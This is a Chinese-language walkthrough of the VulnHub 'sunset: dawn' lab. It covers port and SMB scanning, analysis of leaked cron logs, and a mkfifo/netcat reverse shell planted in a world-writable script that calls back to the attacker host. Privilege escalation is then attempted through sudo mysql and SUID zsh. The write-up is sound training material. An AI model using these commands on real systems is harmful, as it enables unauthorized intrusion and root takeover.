sunset: dawn靶场渗透
sunset: dawn
来自 <sunset: dawn ~ VulnHub>
1,将两台虚拟机网络连接都改为NAT模式
2,攻击机上做namp局域网扫描发现靶机
nmap -sn 192.168.23.0/24
那么攻击机IP为192.168.23.182,靶场IP192.168.23.240
3,对靶机进行端口服务探测
nmap -sV -T4 -p- -A 192.168.23.240
开放端口及服务分析
端口 | 服务 | 版本信息 | 潜在风险 |
80 | HTTP | Apache 2.4.38 (Debian) | - 默认页面或未配置的Web服务可能存在目录遍历、敏感文件泄露风险。 - 需检查Web应用漏洞(如CVE-2021-41773)。 |
139/445 | SMB | Samba 4.9.5-Debian | - 匿名访问或弱密码可能导致共享泄露(如 smbclient 枚举)。 - Samba版本可能受漏洞影响(如CVE-2017-7494)。 |
3306 | MySQL | MariaDB 10.3.15 | - 默认凭证或弱密码可能允许数据库访问。 - 需检查SQL注入或未授权访问漏洞。 |
4,对于SMB服务,可以进行匿名访问检查。使用以下命令枚举共享:
smbclient -L 192.168.23.240 -N
enum4linux -a 192.168.23.240
没有什么可用信息
5,访问80端口看看有什么重要信息
扫描网站存在哪些子目录
dirsearch -u http://192.168.23.240 -x 403,404
访问看看 http://192.168.23.240/logs/
暴露了一些日志文件的路径,前三个没有访问的权限,第四个泄露了一些信息
6,将保存下来,然后定向分析一下日志内容
wget http://192.168.23.240/logs/management.log
grep "/home/dawn/ITDEPT/" management.log
1. 关键异常行为分析
(1) 可疑的权限修改(chmod 777)
行为描述
频繁出现 chmod 777 修改 /home/dawn/ITDEPT/web-control 和 product-control 的权限,且由 root(UID=0) 执行。
示例日志:
2025/05/07 05:20:01 CMD: UID=0 PID=1400 | chmod 777 /home/dawn/ITDEPT/product-control
2025/05/07 05:22:01 CMD: UID=0 PID=1447 | chmod 777 /home/dawn/ITDEPT/web-control
风险说明
- 777 权限允许任意用户读写执行文件,攻击者可篡改脚本植入恶意代码。
- root用户直接操作可能表明攻击者已获取超级用户权限,或存在恶意定时任务。
(2) 跨用户脚本执行
行为描述
脚本 web-control 和 product-control 由多个用户执行:
- UID=0(root):高权限执行,可能导致提权。
- UID=33(www-data):Web服务用户执行,可能通过Web漏洞触发。
- UID=1000(普通用户dawn):横向移动迹象。
- UID=???(未知用户):用户不存在或权限异常(如PID=1448)。
示例日志:
2025/05/07 05:22:01 CMD: UID=??? PID=1448 | /bin/sh -c /home/dawn/ITDEPT/product-control
2025/05/07 05:23:01 CMD: UID=33 PID=1464 | /bin/sh -c /home/dawn/ITDEPT/web-control
(3) 高频重复操作
行为模式
每隔1-2分钟触发一次脚本执行和权限修改,疑似恶意定时任务(cron)或守护进程维持持久化。
2. 攻击链推断
阶段1:初始入侵
攻击入口:
可能通过以下途径之一:
- SMB匿名访问:上传恶意文件至可写共享。
- Web漏洞利用:利用Apache路径遍历(CVE-2021-41773)或Web应用漏洞(如文件上传)。
- MySQL弱密码:通过数据库写入Web目录触发代码执行。
阶段2:权限提升与持久化
操作链:
- 攻击者上传恶意脚本(如反向Shell)到 /home/dawn/ITDEPT/。
- 通过 chmod 777 确保脚本可被任意用户修改/执行。
- 植入定时任务(cron)或修改系统服务,以 root 或 www-data 身份周期性执行恶意脚本。
阶段3:横向移动
利用脚本:
web-control 和 product-control 可能被用于:
- 扫描内网其他主机(通过 nmap 或 ssh)。
- 窃取数据库凭证(利用MySQL访问权限)。
- 通过SMB传播恶意负载。
7,两个文件中挑一个文件进行利用,在本地新建该文件,写入反弹shell一句话,本地开启监听,smb连接,将该文件上传到靶机
echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.23.182 4444 >/tmp/f' >product-control
smb://192.168.23.240/ITDEPT/
与此同时需要打开nc对4444端口的监听,等待一会成功getshell
8,使用python脚本创建可交互shell
python -c 'import pty;pty.spawn("/bin/bash")'
开始信息收集
查看一下怎么提权,发现能够允许使用sudo命令以root权限执行mysql
sudo mysql -e '\! /bin/sh'
1. 命令分解
sudo mysql
以 root 权限(或管理员权限)启动 MySQL 客户端,具体权限取决于 /etc/sudoers 的配置。
-e 参数
允许直接执行 SQL 语句或 MySQL 客户端命令。
\! /bin/sh
\! 是 MySQL 客户端的 内置命令,用于执行操作系统命令。
/bin/sh 是系统默认的 Shell,此处会启动一个交互式 Shell。
2. 提权原理
权限继承
如果用户被配置为允许通过 sudo 无限制地运行 mysql 命令(例如 NOPASSWD 配置),则 sudo mysql 会以 root 权限 启动 MySQL 客户端。
关键配置示例(/etc/sudoers):
dawn ALL=(ALL:ALL) NOPASSWD: /usr/bin/mysql
命令注入
MySQL 客户端的 \! 命令会直接调用操作系统的 Shell,而由于当前进程权限为 root,因此新启动的 Shell 也会继承 root 权限
使用mysql命令提权,但是不知道密码
9,再考虑通过suid进行提权
find / -perm -4000 2>/dev/null
发现存在zsh解释器,可以直接开启一个shell进行提权
zsh